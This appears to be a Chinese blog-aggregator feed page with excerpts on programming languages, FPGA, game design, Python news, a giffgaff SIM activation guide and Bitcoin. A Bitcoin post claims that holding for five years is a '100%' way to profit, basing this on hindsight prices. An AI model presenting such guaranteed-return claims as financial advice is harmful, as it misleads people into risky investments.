万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!:https://xiaobot.net/post/78c3d645-86fa-4bd8-8eac-46fb192a339e

October 19, 2024 12:00 AM

October 18, 2024

ray-eldath

[译] 病毒学家内森·拉尔夫:我无比期待“最后一场瘟疫”

本文是一篇旧文。最早是作为知乎的独立文章发出去的——果然没什么人感兴趣,这么久以来,现在咱也算是半退乎了。最近刚好又在选译、纯手译一篇巨震惊的文章(各位敬请期待),于是想着把以前这篇稍微改改放上来算了,估计反正也不会有人看的。

好吧,就这样。以下是旧文章内容。


本篇文章是刊登在非盈利机构 edge.org 上的英文访谈辑要的翻译。原文地址:WAITING FOR “THE FINAL PLAGUE” - edge.org。翻译经 Edge.org 编辑 Russell Weinberger 授权。

October 18, 2024 01:15 PM

[选译] Nature 论文:关于动物同性性行为演化的另一种假说

译者按:这篇论文最早是微信公众号「Nature自然科研」在每周新闻中推送给我的,是刊发于2019年11月号《自然:生态学与演化》(Nature Ecology & Evolution)上的「观点(Perspective)」文章。我前天一个晚上看完了,看完总有种大脑升级的感觉,幼小的心灵受到了极大的震撼……. 花了三天,选译了几个比较有意思、比较重要或者单纯比较令人震惊的段落,放上来,各位当个“奇文共赏”就好。

论文原文:Monk, J.D., Giglio, E., Kamath, A. et al. An alternative hypothesis for the evolution of same-sex sexual behaviour in animals. Nat Ecol Evol 3, 1622–1631 (2019). https://doi.org/10.1038/s41559-019-1019-7

译者对原文内容、价值观不负责任,仅对翻译本身负责。

以下是选译的段落。译文中省去了所有的引用注记,并以 [粗体方括号] 标明跳过不译的段落。译文中粗体斜体均为译者所加。

October 18, 2024 01:15 PM

Self:编程语言的变革仍未到来

本文是一篇小作品

本文引用并翻译了在 HOPL III 上发表的论文 Self(DOI: 10.1145/1238844.1238853)中的倒数第二节。在 ACM Digital Library 收录的所有 HOPL(History of Programming Languages 论文中,这篇论文的下载量排到了第八位。

我将要引用并翻译的段落出自论文的倒数第二节 “8. Conclusion”(8. 结论) 。在读完全文后,我在我的私人群里如此表达我的感受:

October 18, 2024 01:15 PM

从 SML 到 Scala:简单考察 typeclass 范式的演变和各种实现,以及🎉🎉🎉

本文是一篇「小作品」

这次要是还写巨长我就吃了渚薰((((大雾)

Typeclass 范式是对于 表达式问题 Expression Problem 的一个重要的解。在我了解的编程语言范式中,个人认为,typeclass 范式是较为优雅的一个。本文将简要考察这一范式本身,以及更加重要的:它在各种编程语言中到底如何落地。具体而言,本文将在各种落地语言中构造同一个示例:一个类似 Ruby 中的 Comparable mixin,或者 Java 中的 Comparable 接口,并且演示这些结构如何对既有的类型同样具备可扩展性。

阅读本文需要一定的代码基础,尤其是对 typeclass 范式的认识和相关的编码经验。本文并不会对文中的举例作详尽解释。

October 18, 2024 01:15 PM

咱的新博客

一直打算自己写博客的一套前端和后端,前端本来已经写了挺多的了,现在看来是要搁置很长一段时间了… 感觉折腾这些毕竟没啥用,还是要花时间写文章才行。。

October 18, 2024 01:15 PM

作为现代音乐支柱的爵士鼓(架子鼓)(1):总论

系列文章(咕咕咕咕咕)的第一篇。内容不少,文章较长,还请各位耐心读完;可能有各种事实性错误,也请各位在评论区指出,本垃圾会第一时间订正。相信无论是初学者还是已有一定经验的鼓手,都能从本文中学到一些东西——至少是笔者希望如此😜。

October 18, 2024 01:15 PM

一无所有

第二首诗,献给一位朋友。

October 18, 2024 01:15 PM

阿尔贝·加缪其人

他在本世纪顶住了历史潮流,独自继承着源远流长的警世文学。他怀着顽强、严格、纯洁、肃穆、热情的人道主义,向当今时代的种种粗俗丑陋发起胜负未卜的宣战。但是反过来,他以自己始终如一的拒绝,在我们的时代,再次重申反对摒弃道德的马基雅维利主义,反对趋炎附势的现实主义,证实道德的存在。

October 18, 2024 01:15 PM

还有什么应该去写的事情?

大概两个星期以前,被朋友问到了一个问题。她问我:如果明天就是世界末日,你有没有什么想做的事?

她自己的回复是要立刻到重庆(原话大意是 “不管发生什么我都要立刻飞过去”)去吃正宗的重庆火锅,因为在这边吃到的所有火锅都不怎么样。她说,这种回复其实表明她并不对自己当下的生活感到全然满意,因为明天就是世界的终结也会想去「最后疯狂一把」,而如果是真正满意自己的生活的话,回复应该是 “该怎么过就怎么过” 才是。

这几天我也一直在想这个问题。如果明天就是世界末日,我又会去做什么呢?

October 18, 2024 01:15 PM

记忆、目光、另一种迷惘:the end of 2021

和这里的许多文章一样,本文的标题依然是仿照了某篇令我印象深刻的文章的标题。:-)

最近考完试就在忙课设,这两天才终于有时间把这篇文章写完…

「时间之矢向前飞逝 / 祂飞离时震颤的双翼总拍伤我的灵魂」,几个月前读到的这句诗如今无论是它的作者(是里尔克吗?)还是其全貌都已无从知晓,只觉得以这句想象力奇绝的诗句概括行将结束的整整一年,确实恰如其分。

写下上一篇年终总结(不知为何我很不喜欢「年终总结」这个词——如你所见,标题很努力地做到了不用这四个字)至今已有一年有余,而 2021 这一年,可以说是空前的烂漫和精彩。这一年,无数美好的事情,以我此前从来不敢想望的方式,完全不可预料地扑面而来(未来像盛夏的大雨,在我们还不及撑开伞时就扑面而来1):今年的许多许多段回忆都是出奇的美好,它们是如此的弥足珍贵,冥冥之中我总觉得,即便是以一个人整整一生的时间尺度来衡量,这些回忆都将在时间的长河中熠熠生辉,就像华兹华斯笔下那些总能「让我们在困顿之时为之一振」的「卓越超群、瑰伟壮丽的若干时间点」2

可是,正当世界向我们显露它那丰富多彩的衬里的同时,祂却又向我们徐徐展开了一副人们受苦受难图景的画卷。大三上已经结束,大家突然都紧张了起来,似乎才刚品尝到青春这甘醇甜美的琼浆,就要去体会人们这毫无意义地辛苦劳作、不得休息的无望图景。人们出于经济富足、出人头地等种种平凡低微的原因,在日常生活中从事各个琐碎、侮辱人才能又耗费人精神的工作,无论是不是心甘情愿,都要在就在这无尽的琐事中逐渐被「磨损」,逐渐只觉得,生活,永远在触不可及的地方,因为「此时此刻」永远是那么的无聊、那么的缺乏诗意、那么的死气沉沉——生活永远不在这里,因为生活永远在别处

这是另一种迷惘。人总要在不断的学习中成长,可是只有很少的人能够对一个领域怀有足够纯洁的热诚,从而主动地学习并自得其乐;任何成就的取得都需要决绝的努力,可是人们很难为一个虚无缥缈、触不可及的目标和「理想」长久地坚持,并摒弃种种安逸的生活方式。时日无多,回首你这过去的日子,几乎都在随性而为的自由和放纵中度过,你是否已经失去了(甚至是从未拥有过?)沉着刻苦的品格?考研还是工作?你能坚持下去吗?曾以为坦荡无比的生活最终坍缩(是的,在目光观测下)成区区几个选择而已,怎样做你才不会后悔?在被抛入 “就像海洋的生活”(广东孩子请会意地笑笑)之前,你还要做些什么?你到底想要怎样的生活,又到底是否有相称的品格和毅力来得到它?

我依然没有答案。或者确切的说,自从一个月前学期仿佛是毫无预兆地结束以来,我一直在逃避这些问题,因为我实在是无从回答。我只希望当我完成本文,为这飞快过去的 2021 做完注时,我能有一丁点儿的头绪。

  关于头图

头图摄于 2020 年 12 月,是我们乐队在学校一年一度的音乐节演出前最后一次排练。那次排练效果很好,大家都非常高兴,那晚就是这美好、珍贵回忆中的一段。图中两人未出镜:我(因为这张照片是我拍的)和我们的贝斯手(我真的没有黑贝斯——至少当时没有!)。

October 18, 2024 01:15 PM

有关媒体、社会学、阶级流动、人工智能、还原论、爱情、人类沙文主义和其它一些话题

我有一个非常、非常、非常不好的习惯,那就是喜欢沉浸在深刻、反复的自言自语中,不断地与现实中并不存在的、永远忍受永远包容的倾听者对话。显然这并不实际——并没有能一直忍受我烦人聒噪的慷慨之士。危险之处在于,我自己会经常陷于这样反复的自我对话当中,导致长久持续的失眠,以及更加危险的,一种单调思想的不断反复叠加最终造成极度不理智的言行。

所以昨晚就发生了这样的事情(事实上回家以来这经常发生,令我十分绝望——奇怪的是在学校并不会这样),辗转反侧、自我对话直到四点多彻底睡不着觉,于是起来将自己乱七八糟的思绪记录一二。

这就是这篇文章的由来——事实上我认为理想的形式应该是作为“访谈”,由一位永远忍受永远包容的倾听者记录并编辑,但显然本垃圾并没有这样的社会地位和条件= =。所以,本文是以一种“访谈”,或者说是“随笔”的形式组织并行文的,你应该已经从标题中看出了本文话题的跳跃性——正是如此。

创作本文的动机是作为一种价值观输出。我可能会引用多个领域的各种文献(见文末)以期使读者对我的观念有更好的理解,但我并不了解这些领域中的任何一个,正因如此,我的观点难免片面偏颇;考虑到本文是作为一篇自我陈述而非观点论证组织和行文,关于这一点,还请读者理解。

October 18, 2024 01:15 PM

我与科幻的故事,以及不情愿地2021

Update 2021.1.10:

本文主要内容是一篇旧文,以及一些有关2021的文字。

最终还是打算把文章贴到博客上来(其实是一直忘了),做了一些修改,补了一些最近的我与科幻的故事
顺便这篇短文的一个选段居然还真在SFW2005的《回声》专栏上刊出来了…… 然而选的是现在看来比较尴尬的一个段落,感觉是真的羞耻(((

以下内容(直至文末的分割线)作于2020年2月份,经少量修订。文末有关2021的内容作于今日。

October 18, 2024 01:15 PM

First Step Towards FPGA (1): SystemVerilog Quick Take & Pros and Cons

Every time programmable hardware programming is mentioned, Verilog or SystemVerilog comes to our mind — such fact, IMHO, is ironically contrasts with another interesting, if not consensus, but at least first impression of those hardware newbies just like me, that the fundamental software and development toolkit in hardware programming field is far from diverse, mature and easy-to-use. Comparing to software engineering, there are not too much languages, tools or methodology to let you pick and choose, even among the limited available choices, most of them are either lack some important features, or just too expensive to investigate. Undoubtedly my first step towards FPGA, looking around and pick a combination of language, simulator and testing method, is a brief journey, but it also involved too many investigation as well as unexpected disappointment, which makes this journey more difficult, and more tiring. This article is intended to outline some of my conclusion, which is what I’m using now, and what I have used but quited.

October 18, 2024 01:15 PM

meituan

大前端:如何突破动态化容器的天花板?

长久以来,容器要实现动态化和双端复用,难免要牺牲掉一些性能。有没有办法让动态化容器的性能尽可能接近原生?美团金服大前端团队给出了一种解决方案,尝试突破动态化容器的天花板。

by 美团技术团队 at October 18, 2024 12:00 AM

October 13, 2024

xiaowuleyi

比特币挖矿“军备竞赛”演变(上)

在比特币当初发布,并且开始运行的时候。中本聪虽然提到是要构建点对点的去中心化系统,而实现这一个过程,就是越来越多人参与。并且是越来越分散,最好是能做到全球每个国家都有一些参与者。

当然更要避免出现“作弊”,比如某人或者某机构把持绝大多数的参与节点。这样就失去了去中心化的意义,反而成了一家独大,或者几家独大了。有知情的小伙伴可能说,现在比特币就是几大矿池掌握了几乎全部的算力。是不是一种中心化的方式呢?咱们一会聊到。

不管是在中本聪的那个时候,还是现在,都很难做到绝对的1人1票。要不然他喵的为啥我抢不到演唱会的门票?要不然为啥那些所谓的秒杀,在毫秒间就被神秘的力量买走了?我甚至才刚刚刷新页面。

身份证号是唯一的对吧?但是人家就有办法搞一堆真或假身份证号来霸占名额。你说IP是唯一的对吧?那就买上几百台,几千台二手手机,插上sim卡用流量。不管怎么限制,都几乎没办法做到绝对的机会均等。

不过,还好比特币当初只是一个实现项目,并没有太多人关注。而且中本聪也很巧妙的按照CPU来当做证明。CPU就是每台电脑里的计算芯片(一般每个电脑只有一个),一个CPU代表一“票”,你就可以成为比特币去中心化网络里面的一个节点了。并且当时并不是那么消耗资源,可以一边开着比特币的节点挖矿,一边用着电脑,平安无事。

但后来,参与的“节点”越来越多。有人发现使用GPU(就是电脑里的显卡芯片,大多是独立的设备)来挖矿,毕竟挖矿机是在做哈希运算。而GPU(显卡)可以有更多的并行计算能力,一个GPU在当时相当于几十个CPU。越高的算力,就意味着可以获得更多比特币奖励。这时候想成为比特币的节点,门槛就提高了一点点。

而在GPU挖矿的过程中,又有大神开始改进升级。把GPU做成了集群,也就是说,一台电脑可以管理几十个GPU。这时候就已经有一种专业挖矿的雏形了。大概如下图所示:

这时候,比特币也已经算是知名度起来了。在巨大的利益驱动下,比特币网络颠覆式的挖矿模式诞生了,并且主宰至今。那就是ASIC挖矿,当然在GPU到ASIC挖矿过程中,也短暂的出现了FPGA挖矿方式,感兴趣的可以去自行搜索。

这里插一句,所有因为显卡价格暴涨而怪罪比特币的,属于是骂错人了。因为比特币只有短暂的显卡挖矿经历。显卡暴涨是因为隔壁的以太坊,所以不要再给比特币脑袋上乱扣罪名了。

自从ASIC诞生,比特币挖矿正式进入真正意义上的“军备竞赛”。从此比特币不再是极客圈的小众项目,更不是普通人可以随便参与的挖矿游戏了。围绕比特币挖矿的生态从一小片树林,变成了亚马逊雨林。

ASIC的早期矿机算力,就已经轻松超过GPU的几十倍,甚至上百倍。而ASIC的设计原理非常简单,就是为了高效完成更多计算,去除了无关的电路模块,尽可能的叠加只为了提升算力的芯片。当然,其中复杂程度,也请您自行理解,就不展开讲了。

总之,ASIC矿机的出现,直接把比特币的算力提升到了恐怖如斯的高度。挖矿自此成为了一个产业。上游诞生了芯片设计公司,制造公司,中间是各大矿池,算力平台等。下游就是在市场交易比特币的平台与用户。

ASIC矿机的优势是高速高效的进行比特币挖矿,而不足就是,只能用于比特币挖矿。如果不能用来挖比特币,就是废铁一块。并且这类矿机,基本上每年升级一次,以及还有其他的矿机生产商互相竞争。所以,我说“军备竞赛”一点也不夸张。

没想到一不小心又写了这么多,那明天就继续聊聊比特币矿池的故事。正好今天周六,周末就聊点轻松的,你说对吧。

by 小吴乐意 at October 13, 2024 12:58 AM

October 12, 2024

pythoncat

Python 潮流周刊#72:Python 3.13.0 最终版已发布!

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。周刊开源在 Github 上,喜欢请给颗小星星支持下~
分享了 14 篇文章,12 个开源项目,4 则音视频,全文 2300 字。
以下是本期摘要:
① Python 3.13.0 最终版已发布!
② 关于 Python 3.13,了解这些信息就够了
③ Python 3.13 最好用的新特性
④ Python 是如何变得越来越健壮和快速的?
⑤ 20 多个有意思的 Django 项目创意
⑥ Python 错误处理的终极指南
⑦ PEP-758:允许不带括号的 except 和 except* 表达式
⑧ 自由线程 Python 使用 Asyncio
⑨ 使用 Streamlit 开发内部 AI 工具
⑩ 用 Postgres 和 CLIP 开发一个图像搜索引擎
⑪ 不要让字典破坏你的 Python 代码
⑫ TypedDict 比你想象的更好用
⑬ 从 virtualenvwrapper 切换到 direnv、Starship 和 uv
⑭ Python NZ 的财务主管挪用资金,导致协会债务危机
① PyUIBuilder:适用于 Tkinter、CustomTkinter、Kivy 的 GUI 构建器
② AI-Youtube-Shorts-Generator:用 GPT-4 自动分析并剪辑视频
③ streamable:让可迭代对象支持流式操作
④ gptme:在终端中写代码、浏览网页、使用视觉
⑤ open-notebooklm:将任意 PDF 转换为播客对话节目
⑥ starfyre:响应式的基于 WASM 的 SSR Python Web 框架
⑦ secure:为 Django、Flask、FastAPI 添加安全的请求头
⑧ pooltool:逼真物理效果的沙盒台球游戏
⑨ otterwiki:Python 开发的简约 wiki 应用
⑩ curl_cffi:可模拟浏览器 tls/ja3/http2 指纹的 http 客户端
⑪ thepipe:从 PDF、URL、幻灯片、视频中提取干净的 Markdown
⑫ erdantic:Pydantic 等数据模型类的实体关系图
① Python 3.13 和最新趋势:2025 年开发者指南
② 用 FastAPI、React 与 MongoDB 作全栈开发
③ 核心开发者们在 Meta 举行 sprint 活动
④ 聊聊 3.13 中你们感兴趣的特性,和我实现的功能
周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个你绝对不会后悔的专栏:https://xiaobot.net/p/python_weekly
订阅后,可免费查看 第 72 期周刊的全文:https://xiaobot.net/post/0bb49b01-ccb2-4001-be76-27ab6262684c
Python 潮流周刊第 2 季完结了,分享几项总结:https://pythoncat.top/posts/2024-07-14-iweekly
周刊前30期的免费合集,含精美电子书(EPUB/PDF):https://pythoncat.top/posts/2023-12-11-weekly
万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!:https://xiaobot.net/post/78c3d645-86fa-4bd8-8eac-46fb192a339e

October 12, 2024 12:00 AM

October 11, 2024

codingnow

我对电子游戏的分类

“首先,设计师创建了一些游戏机制。然后,他们把这些游戏机制用一些具有代表性的虚构元素包装起来。在游戏过程中,这些机制之间会产生一系列事件。这些事件会触动玩家潜意识中的触发器,从而激发出情感。最后,这些情感交织到一起,变成了一种综合的体验。” —— Tynan Sylvester 《Designing Games: A Guide to Enginerring Experiences》

我非常认同 Rimworld 作者 Tynan 对电子游戏的定义:游戏是一种制造体验的人工系统。游戏用一种工程手段制造体验,目的是激发人类的情感。在《体验引擎》的书中论述,追踪情感的真正源头非常困难,因为情感的触发由大脑的潜意识处理,自动表达的。即使不知道为什么会产生某种情感,我们的理性还是会想当然的为之安排一个原因。这些想当然的原因往往是错的。这种现象被称为情感错位,因为情感错位的存在,想要了解游戏如何影响我们是十分困难的事情。

我最近把游戏开发工作中的具体实现停了下来。因为我意识到,游戏核心固然是设计一些机制,程序实现可以把这些机制做出来并加以测试,但游戏机制只是手段而不是目的。我对游戏设计的理解还不够,所以还需要继续以设计游戏的角度去挖掘游戏深层次的东西。以游戏爱好者的角度去玩那些好评如潮的游戏体会游戏带来的乐趣是不够的,还需要多玩一些毁誉参半但制作者有自己想法的作品。当然,还需要回避一些仅仅是把已有游戏换一个虚构层做出来的仿冒品。

成为好的 Designer 之前,必须做一个更好的 Gamer 。我相信自己比之前是一个更好游戏玩家。因为相比之前,我可以更快的学习游戏规则,忽略游戏的表象,直接去感知作者想表达的东西。玩一些 steam 上只有几个评价且好评率不高的游戏,即使是半成品,对我来说也不算是太难的事了。具体游戏的评价,我大多直接写在 steam 上,而这里,我想记录一些最近想到的比较形而上的总结。

对于非社交属性的单人游戏,我认为有三个设计方向:目标、挑战、沙盒。

第一,设计者设计了一件步骤繁多的事情,让玩家在游戏规则(机制)内,一步一步的完成这件事。玩家在游戏过程中获得的长期体验,很大程度来源于有一个预设的目标,一步步抵达终点。

我过去非常喜爱的 JPRG 类型就是典型。近两年玩的比较多的 Factorio ,尤其是星际探索 Mod 也是如此。完成游戏目标这个过程,虽然主干是设计者设计的,但整个路线则可以让出一些不确定的部分让玩家自己填充。另外,我花的时间很多的(数值成长)放置类游戏更是如此。在游戏过程中,游戏者在意的是我在推进游戏进程,最终有一个完结。往这条路线设计的游戏,通常不具备重玩价值,但可以把单次游戏时间设计的很长。例如异星工厂的星际探索 Mod ,我就玩了 1000 小时以上。虽然像 JRPG 几乎都设计了二周目,甚至多周目玩法,但并非真正的重玩,而是为喜欢这个游戏过程的玩家额外设计的延长线。

在这个思路下,是否有战斗系统,战斗系统偏重策略性还是操作性;是基于故事线的角色扮演,还是上帝视角的基地建设,或是自动化工厂…… 这些不同的游戏机制都是为其(玩家一步步推进游戏进程直到完结)服务的。所以,在游戏机制设计的同时,同时设计好在这个机制下玩什么同等重要。后者就是所谓的关卡设计工作。

我在很多年前制作过一款(网络)卡牌对战游戏。游戏规则几乎照搬的卡片召唤师(CULDCEPT)。一开始的想法是,卡片召唤师是一个非常有趣的卡牌对战游戏,如果我们搬到网络上让玩家有一个平台玩应该是很有趣的。为了方便玩家学习复杂的游戏规则,我们制作了对规则逐步深入的多场和系统对战的教学关。当时让我费解的是,大部分(70%)注册用户在玩完长达几个小时的教学关后就离开了游戏,甚至没有尝试和人对战过一次。如果说游戏不好玩吧,这些玩家大多又没有在教学关之间流失。这些教学关设计得并没有太大挑战,在我看来只是体验流畅,并不生硬的传达了教学任务,但并不好玩。花上几个小时,好不容易学会了一个不算太简单的卡牌游戏规则,为什么不想和人玩上一盘呢?我现在的回答是:这个教学任务本身就是一个目标感很强的游戏,哪怕它不好玩,但完成目标这件事都足以驱使玩家完成它。至于后面的人和人的对战,那是完全不同的另一类游戏体验了。

第二,设计者设计了一套规则,并辅以随机性元素生产关卡,让玩家完成一个个挑战。因为随机性元素的存在,玩家需要根据自己对规则的理解,每次都需要重新判断如何应对。玩家在游戏过程中获得的体验,以学习和能力成长为主。获得信息,有所领悟。应对挑战,由失败而激发斗志。

最近几年流行的 Roguelike 元素游戏都可以归为此类。也包括各种生存类游戏。这类游戏的单局时间不会太长,玩家把单局游戏看成是一次短期的挑战任务,随机性元素或精心设计的关卡让玩家检验自己对游戏机制的理解。如果可以引导玩家进入心流状态,单局时间拉得很长也没关系。例如著名的再来一回合文明系列。

这类游戏通常更注重重玩价值。随机性在这里是一个非常重要的元素。这里的随机性指的是游戏机制中的变量,它其实未必是用随机算法任意组合出的东西。只是表示游戏机制中有许多变量参数可供组合变化,玩家需要充分理解机制,才能应对挑战。所以像 baba is you 这样的 puzzle game ,我也把它归为此类。它的关卡并不是随机产生,都是作者精心设计的。我花大量时间玩这种 puzzle game ,并不是为了通关,而是想尝试不同的挑战。

这种游戏对玩家的终点是彻底理解了游戏机制。但设计者如果长期开发的话,可以通过不断扩展和完善游戏机制让玩家一直保持游戏乐趣。

第三,游戏只是一个沙盒,在一套自洽规则下的模拟。在过去,我无法理解像 Townscape 这样仅仅只是随便搭几个房子的模拟器为啥能被称为游戏,且好评如潮。而像 minecraft 这样火爆全球的游戏,很多玩家仅仅只是在里面搭搭积木。玩家自己随意的规划目标,然后自己完成这些目标。游戏本身仅仅充当了一个沙盒模拟装置。

我对此类游戏提不起太大的兴趣,但似乎又无法将其归于上面两类之中。但想想我在异星工厂中曾花掉几十小时就是为了设计一个全自动生产并方便扩建的工厂,似乎也很符合这类游戏提供给玩家的体验。


这三类游戏的设计方向并非互斥。好的游戏往往可以同时提供不同方向上的体验,只是有所偏重。我现在分析游戏设计时,倾向于把它作为最高层次的分类标准,然后再给游戏贴上诸如银河城、平台跳跃、基地建设、自动化、RPG 等等标签。

by 云风 at October 11, 2024 06:09 AM

October 10, 2024

yangpeiyuan

giffgaff 激活与使用指南

giffgaff 成立于 2009 年 11 月 25 日,是一家总部位于英国伦敦的移动虚拟网络运营商,为 O2 全资子公司,因此 giffgaff 使用 O2 的网络,享有 O2 相同的 99% 网络覆盖率,且可访问英国 193 个城镇的 5G 网络。

注意事项

以下操作均会造成扣费:

  • 短信、通话、上网。
  • 手动拒接任何来电。由于 giffgaff 默认开通了语音信箱功能,拒接来电后将会自动接入语音信箱产生费用,如需避免,请参见后文手动关闭来电转接功能。
  • 激活 FaceTime 与 iMessage 服务。如不需要 iOS 提供的 FaceTime 与 iMessage 服务,请在系统弹出以下对话框时点击取消按钮。

保号

激活后的号卡需要每 180 天内进行一次消费以进行保号,若长时间未消费,会收到警告邮件,请按邮件提示进行操作,不予理会将被销号

激活流程

  • 将 SIM 卡插入手机,入网后稍等片刻,会收到一条来自 43432 的短信,点击短信中的链接进入激活页面。
  • 如在上一步中未收到短信,请手动打开 https://www.giffgaff.com/activate ,并输入卡片上的激活码进行激活。
  • 选择适合自己的套餐,前文中我们已经了解过了套餐的区别,如果暂时没有使用需求,可以将页面拉至最下方,选择 Pay as you go ,激活后可以正常接收短信。
  • 首次充值需要至少充值 10 英镑,仅支持使用 VISA / MasterCard 的借记卡或信用卡进行付款(如没有指定银行卡,可以选择淘宝购买充值卡密,点击 Or redeem a top-up voucher 进行激活)。
  • 使用卡密充值:可以去某宝或飞猪直接搜索 giffgaff 代充,10 英镑即可。使用银行卡激活请跳过本段直接看第六步。
  • 使用银行卡充值:部分银行付款时需要进行 3DS 验证,加载较慢需要耐心等待。使用充值卡密激活请跳过本段直接看第七步。
  • 付款成功后,页面上将出现 giffgaff 分配给您的电话号码。如申请卡时填写了他人邀请码,则会收到赠送的 5 英镑余额。至此,您已完成了整个激活流程。

如何关闭语音信箱

参考 https://www.giffgaff.com/help/articles/how-do-i-turn-voicemail-on-or-off ,在手机拨号盘输入 ##002# 并拨打,即可关闭语音信箱。

如何快捷查询话费

在手机拨号盘输入 *100# 并拨打,即可快捷查询到话费余额。

其他常用快捷指令

  • 查询 SIM 号码: 发送 NUMBER43430
  • 查询话费余额: 直接拨打 *100#
  • 关闭语音信箱: 直接拨打 ##002# -打开语音信箱: 直接拨打 **61*443*10*20#

by yangpeiyuan (i@yangpeiyuan.com) at October 10, 2024 02:40 PM

meituan

全域用户建模在美团首页推荐的探索与实践

本文详述了全域建模技术在美团首页推荐系统的发展和演进。美团首页推荐算法团队通过多阶段递进式探索验证,在召回与排序模块引入多展位、多应用渠道的多源用户交互数据,并在落地过程中解决了美团多展位、多业务、时空场景强相关性的特点导致的严重跨域信号负迁移挑战。

by 美团技术团队 at October 10, 2024 12:00 AM

October 09, 2024

xiaowuleyi

持有比特币100%能赚钱的办法是?

以事后诸葛亮的角度来看,一个100%持有比特币盈利的方法就是,拿住持有5年以上。就按5年前的2019年10月9日,比特币价格是8,627美元。而今天比特币价格是62000美元,相差大概7.2倍。平均这五年的每年投资回报率是47%,你就说吓不吓人?

而再往前推,我给你看一个数据(价格数据来自互联网)

2017年10月,比特币价格4367美元。2022年比特币价格20340美元。这5年实现了资产3.6倍的增长,平均年化收益率37%。

2018年10月,比特币价格6622美元。2023年后比特币价格26874美元。这5年也实现了资产3倍的增长,平均年化收益率32%。

在中国,年化收益率在4%就已经是非常高了,达到6%就稍稍带点风险的债券基金了,超过8%就已经被普遍认为是“骗局”和“诈骗”了。

再次提醒,在中国大陆境内目前交易比特币是违法行为,而且不局限于比特币,任何数字货币交易都不得到法律的保护与认可。切勿盲目相信任何人,包括我。
所以作为普通人的我们,如果以后有机会合法合规的购买比特币。如果你没有拿住5年的信念和决心,建议还是别买了。

如果打算持有5年,任何时候买都是抄底。

如果打算持有3年,请自行判断底部。

如果打算持有1年,请立即清仓卖出。

如果打算持有1月,同上

如果打算持有1天,拿这个钱去医院挂个脑科

从我个人投(机)资角度理解,买比特币并不像买股票,买基金,甚至买黄金等一切资产。在我狭隘并且浅薄的认知里,世界上的投资品只有两种,比特币和其他。比特币没有一个实际的法人,实际的创始人来为此负责。更不存在什么财务报表,或者你可以理解为比特币的整个网络财务数据是完全公开的,于是也就不存在什么财务造假。更不涉及搞什么天使投资,A轮融资,也就没有什么投资回报承诺。

如果谈分红那就更是扯淡了,你可能会说,黄金也不分红呀。但是你要知道,黄金丢了还能找回来,比特币丢了那就真的是彻底丢了。而且如果谁的比特币真丢了,那间接等于在为比特币做贡献,为所有持有比特币的人“分红”。

绝大多数资产靠着大量的流动性来实现自身的“升值”,也带动了证券,交易所的手续费收入。而比特币其实是靠着很多人锁定流动性从而“升值”。这就是为什么比特币的价值具有极大的不确定性和风险性。

但任何风险和不确定性,都要放在长期来看。如果拉长周期,很多不确定性和风险性也可能会逐渐被市场所消化和适应。比如比特币初期也出现过漏洞,被人发现可以凭空生成几亿的比特币,但好在当时比特币尚在初期阶段,快速的完成代码修复。如果放到今天,恐怕就是史诗级的灾难了(但也是机会)。

同样,在我狭隘并且浅薄的认知里,比特币的风险和不确定性已经转移。经历过版本更新,扩容之战,分叉闹剧,政策打压这些系统性的抗压测试后,比特币已经足够抵御任何威胁。这里插一句,以后的文章我会慢慢普及一些比特币的技术原理,来用事实证明比特币为什么难以被摧毁。动不动就张嘴闭嘴比特币随时会被关闭,会被攻击,会被盗走的,还有什么量子计算机威胁的。咱们慢慢交流,请用脑子思考问题,有理不在声高。

那比特币的风险和不确定性转移到哪里了呢?转到了持有人的这边,当你刚刚购买,就看到3根大阳线,直接浮盈10%的时候,你会不会心动?当你看到“暴跌”10%的时候,会不会愁的睡不着觉?甚至购买的时候,是否还在纠结,要不要等再跌5%再买?


“这才叫暴跌”

金子是凉的,抓在手里是热的。其实不是金子在发热,是人的手在发热。是所谓风吹旗动,不是风在动,也不是旗在动,而是你的心在动。我不是在劝各位,而是把我之前的那种刚入场的激动冲动,迷茫失落,所经历的,分享给各位。

真正进入币圈,你就会发现比特币也并非万花丛中一点红。而是乱花渐欲迷人眼,令人方寸大乱,神魂颠倒。那时候则自然什么投资的金科玉律都成了屁话,而世界也总是成败论英雄,投机成功就是投资,投资失败就是投机。每年都在重复,每天都在上演。

不要去拿自己无法驾驭的“财富”,不要听了别人分析就要下场“梭哈”,投资自己的大脑永远比抢先出发更重要。流水不争先,争的是滔滔不绝。事缓则圆,谁先急了,谁就输了。未来依旧有机会,如果你真的能持有比特币5年不动,那么任何时候都是熊市,任何时候购买都是抄底。

在未来的某一天,我相信中国大陆一定会开放比特币交易的市场,不管是直接的方式还是间接(数字债券/基金/机构代持)的方式。所以,耐心等待吧,该吃吃该喝喝,顺便别耽误了解比特币,成长自己。

by 小吴乐意 at October 09, 2024 04:18 AM

October 08, 2024

xiaowuleyi

炒比特币能让你财富自由吗?

在大家怀着激动的心颤抖的手打开这篇文章的时候,我们先把“财富自由”这个概念试着尽量清晰一下。有的人觉得10个亿都不算财富自由,有的人觉得1000万就够财富自由了。所以单纯的拿钱来衡量很难得出一个大家认可的定义。

我觉得可以从两个层面来确定一下:财务层面,生活层面。

财务方面,你的财富要足够安全,不能说今天账上1个亿,明天变成100块了;还有要有足够的资产净值,说得直白点就是扣除你的欠款以后银行卡,支付宝,微信钱包的余额;当然最重要的,你是有被动收入的,并且完全覆盖你的各种生活支出。

生活层面,你的时间足够自由,不是金钱的奴隶,想干嘛就干嘛,想去哪就去哪;你能够选择工作或事业而非被迫,甚至去做别人眼中看起来毫无回报率的事情;有好的生活品质,可以长期住在舒适安心的环境中,并且享受优质的教育,医疗资源,不必担心会失去这样的品质与环境。

同时再结合你所在的城市生活成本,我想你大概就能算出你想要财富自由需要多少钱了。但有一点,通过上班大概率是没戏的,至少对于普通人来说。毕竟上班的风险太低了,你的预期回报太稳定了。工资不是你的劳动价值体现,而是公司对你个人预期的估值。

其实每个职场人都有自己优秀的地方,但公司机制里面,不需要优秀的螺丝钉,只需要普通的按部就班的螺丝钉。公司对员工的要求不是个性,不是单项突出,而是听话,按要求做事,哪怕那个规章制度跟裹脚布一样,又臭又长。

